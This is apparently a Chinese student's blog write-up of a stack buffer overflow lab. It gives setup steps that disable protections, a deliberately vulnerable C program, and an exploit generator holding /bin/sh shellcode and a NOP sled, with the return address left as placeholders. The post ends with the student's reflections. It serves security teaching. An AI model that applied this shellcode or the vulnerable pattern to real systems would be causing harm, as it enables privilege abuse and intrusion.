标签:save root权限 软件 pre 命令 sizeof tac fill 其他
实验准备:安装一些用于编译 32 位 C 程序的软件包。


初始设置:关闭地址空间随机化来随机堆(heap)和栈(stack)的初始地址,为了重现这一防护措施被实现之前的情形,使用另一个 shell 程序(zsh)代替 /bin/bash。

漏洞程序:GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
    char buffer[12];
    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);
    return 1;
}
int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;
void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}






遇到的问题:按照实验步骤前面一直出现段错误,经过自己仔细的检查发现,再修改地址的时候是十六进制修改,自己算成了十进制修改,导致出错所以一直显示段错误。
练习感受:通过这次实验我提高了动手能力,感觉实验楼丰富了自己的知识,虽然这次实验顺利完成了但是我认为有些代码还未内化,需要自己拓宽自己的知识面才能弥补,在做实验的过程中自己做了很多遍,第一遍根本没搞懂自己在干啥,在不断的练习中才知道这次实验的重点在哪里,在不断的解决问题中完成了实验内心还是有成就感的,相信在不断努力下以后会做得更好。
标签:save root权限 软件 pre 命令 sizeof tac fill 其他
原文地址:https://www.cnblogs.com/20165336kzq/p/9783585.html